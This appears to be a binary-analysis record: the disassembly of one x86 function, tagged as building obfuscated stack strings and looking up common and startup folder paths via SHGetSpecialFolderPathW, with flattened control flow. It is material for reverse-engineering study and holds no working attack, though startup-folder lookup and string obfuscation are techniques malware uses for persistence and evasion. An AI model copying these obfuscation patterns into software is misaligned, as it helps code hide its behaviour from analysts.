Function at 0x100850f2
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get startup folder

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x250
mov esi, dword [esp + 0x264]
mov bl, byte [esp + 0x268]
mov eax, dword [0x100c51b8]
xor eax, esp
mov dword [esp + 0x24c], eax
xor edi, edi
mov dword [esi], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 7
mov word [esi], 0
lea eax, [esp + 0x44]
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x10], eax
push 0x208
push edi
push dword [esp + 0x18]
call fcn.1008c000
add esp, 0xc
xor bl, 1
movzx eax, bl
lea eax, [eax + eax*8]
add eax, 0x1a
push 1
push eax
push dword [esp + 0x18]
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov dword [esp + 0x18], eax
lea ebx, [esp + 0x22]
mov eax, 0x9f468b8c
lea edi, [esp + 0x20]
cmp eax, 0x3193fd12
jle 0x100851a7
cmp eax, 0x6700fe73
jg 0x1008526e
cmp eax, 0x3193fd13
je 0x100852aa
cmp eax, 0x662e9801
jne 0x10085178
push esi
call fcn.1008599a
jmp 0x10085284
cmp eax, 0x9f468b8b
jle 0x1008528e
cmp eax, 0x9f468b8c
je 0x100852b8
cmp eax, 0xef5c2fe5
jne 0x10085178
mov al, 1
mov byte [esp + 0x20], al
mov cl, 0x1b
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], 0x52
mov byte [esp + 0x23], 0xd
mov byte [esp + 0x24], 0x4b
mov byte [esp + 0x25], 0xb
mov byte [esp + 0x26], 0x66
mov byte [esp + 0x27], 9
mov byte [esp + 0x28], 0x67
mov byte [esp + 0x29], 7
mov byte [esp + 0x2a], 0x64
mov byte [esp + 0x2b], 5
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 3
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x1f
mov byte [esp + 0x32], 0x7a
mov byte [esp + 0x33], 0x1d
mov byte [esp + 0x34], 0x7e
mov byte [esp + 0x35], cl
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
mov ecx, 0xf522c0a8
lea eax, [esp + 0x36]
cmp ecx, 0x1ac25e25
je 0x100852cf
cmp ecx, 0xf522c0a8
jne 0x10085243
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 4]
mov ecx, 0xf522c0a8
mov edx, 0x1ac25e25
cmove ecx, edx
jmp 0x10085243
cmp eax, 0x6700fe74
je 0x100853a9
cmp eax, 0x7ad9e81f
jne 0x10085178
mov eax, 0xef5c2fe5
jmp 0x10085178
cmp eax, 0x997f0f46
jne 0x10085613
mov ecx, esi
call fcn.1000e7f4
mov eax, 0x91700403
jmp 0x10085178
mov eax, dword [esp + 0x14]
mov eax, 0x91700403
jmp 0x10085178
cmp dword [esp + 0x18], 0
mov eax, 0x6700fe74
mov ecx, 0x3193fd13
cmove eax, ecx
jmp 0x10085178
mov dword [esp + 0xc], edi
mov eax, dword [esp + 0xc]
mov al, byte [eax]
mov byte [esp + 3], al
mov eax, 0x2f54556c
cmp eax, 0x2f54556b
jg 0x1008531a
cmp eax, 0x83edf18a
je 0x10085347
cmp eax, 0x9dff3d23
je 0x10085362
cmp eax, 0xaa9e6005
jne 0x100852e2
mov eax, dword [esp + 4]
mov byte [esp + 0x36], 0
mov byte [esp + 0x37], 0
mov eax, dword [esp + 0xc]
mov byte [eax], 0
mov eax, 0x77248f37
jmp 0x100852e2
cmp eax, 0x77248f37
je 0x100854cb
cmp eax, 0x561ae084
je 0x10085390
cmp eax, 0x2f54556c
jne 0x100852e2
test byte [esp + 3], 1
mov eax, 0x83edf18a
mov ecx, 0x77248f37
cmove eax, ecx
jmp 0x100852e2
lea eax, [esp + 0x1c]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x1c], 0
mov eax, 0x561ae084
jmp 0x100852e2
mov eax, dword [esp + 0x1c]
mov cl, byte [esp + eax + 0x22]
mov eax, dword [esp + 0x1c]
mov dl, byte [esp + 0x21]
inc al
xor al, dl
xor al, cl
xor al, 0x14
mov ecx, dword [esp + 0x1c]
mov byte [esp + ecx + 0x22], al
inc dword [esp + 0x1c]
mov eax, 0x561ae084
jmp 0x100852e2
mov eax, dword [esp + 0x1c]
cmp eax, 0x14
mov eax, 0xaa9e6005
mov ecx, 0x9dff3d23
cmovb eax, ecx
jmp 0x100852e2
mov ebp, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 7
mov word [esp + 0x20], 0
push ebp
call fcn.1009f1fa
add esp, 4
mov ecx, edi
push eax
push ebp
call fcn.1001a43a
mov ebp, dword [esp + 0x30]
mov ecx, edi
call fcn.1000e86e
mov ecx, esi
push ebp
push eax
call fcn.100861b2
mov ecx, edi
call fcn.1000e7f4
mov al, 1
mov byte [esp + 0x20], al
mov cl, 0x1b
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], 0x58
mov byte [esp + 0x23], 7
mov byte [esp + 0x24], 0x52
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x65
mov byte [esp + 0x27], 3
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x29], 0xd
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0xf
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2d], 9
mov byte [esp + 0x2e], 0x66
mov byte [esp + 0x2f], 0xb
mov byte [esp + 0x30], 0x7e
mov byte [esp + 0x31], 0x15
mov byte [esp + 0x32], 0x48
mov byte [esp + 0x33], 0x17
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x35], 0x11
mov byte [esp + 0x36], 0x75
mov byte [esp + 0x37], 0x13
mov byte [esp + 0x38], 0x73
mov byte [esp + 0x39], 0x1d
mov byte [esp + 0x3a], 0x7f
mov byte [esp + 0x3b], 0x1f
mov byte [esp + 0x3c], 0x71
mov byte [esp + 0x3d], 0x19
mov byte [esp + 0x3e], 0x76
mov byte [esp + 0x3f], cl
lea eax, [esp + 0x42]
mov dword [esp + 4], eax
mov ecx, 0xb37be22
lea eax, [esp + 0x40]
cmp ecx, 0x5d540897
je 0x100854e7
cmp ecx, 0xb37be22
jne 0x100854a4
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 4]
mov ecx, 0xb37be22
mov edx, 0x5d540897
cmove ecx, edx
jmp 0x100854a4
push ebx
call fcn.1009f1fa
add esp, 4
mov ecx, esi
push eax
push ebx
call fcn.100861b2
mov eax, 0x3193fd13
jmp 0x10085178
mov dword [esp + 0xc], edi
mov eax, dword [esp + 0xc]
mov al, byte [eax]
mov byte [esp + 3], al
mov eax, 0xec064d20
cmp eax, 0x2710e654
jg 0x10085531
cmp eax, 0xb6c6a312
je 0x10085566
cmp eax, 0xec064d20
je 0x1008557f
cmp eax, 0x24ec867b
jne 0x100854fa
lea eax, [esp + 0x1c]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x1c], 0
mov eax, 0xb6c6a312
jmp 0x100854fa
cmp eax, 0x2710e655
je 0x10085596
cmp eax, 0x4082dcc3
je 0x100855e7
cmp eax, 0x6555e559
jne 0x100854fa
mov eax, dword [esp + 4]
mov byte [esp + 0x40], 0
mov byte [esp + 0x41], 0
mov eax, dword [esp + 0xc]
mov byte [eax], 0
mov eax, 0x4082dcc3
jmp 0x100854fa
mov eax, dword [esp + 0x1c]
cmp eax, 0x1e
mov eax, 0x6555e559
mov ecx, 0x2710e655
cmovb eax, ecx
jmp 0x100854fa
test byte [esp + 3], 1
mov eax, 0x24ec867b
mov ecx, 0x4082dcc3
cmove eax, ecx
jmp 0x100854fa
mov eax, dword [esp + 0x1c]
mov al, byte [esp + eax + 0x22]
mov byte [esp + 0xb], al
mov edx, dword [esp + 0x1c]
mov al, byte [esp + 0x21]
movzx ebp, al
mov ecx, esi
mov esi, edi
mov edi, ebx
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, ebp
not ebp
and ebp, ebx
mov ebx, edi
mov edi, esi
mov esi, ecx
or eax, ebp
xor al, byte [esp + 0xb]
xor al, 0x1e
mov ecx, dword [esp + 0x1c]
mov byte [esp + ecx + 0x22], al
inc dword [esp + 0x1c]
mov eax, 0xb6c6a312
jmp 0x100854fa
push ebx
call fcn.1009f1fa
add esp, 4
mov ecx, esi
push eax
push ebx
call fcn.100861b2
push esi
call fcn.100856f4
test al, al
mov eax, 0x662e9801
mov ecx, 0x7ad9e81f
cmovne eax, ecx
jmp 0x10085178
cmp eax, 0x91700403
jne 0x10085178
mov ecx, dword [esp + 0x24c]
xor ecx, esp
call fcn.100879aa
mov eax, esi
add esp, 0x250
pop esi
pop edi
pop ebx
pop ebp
ret 8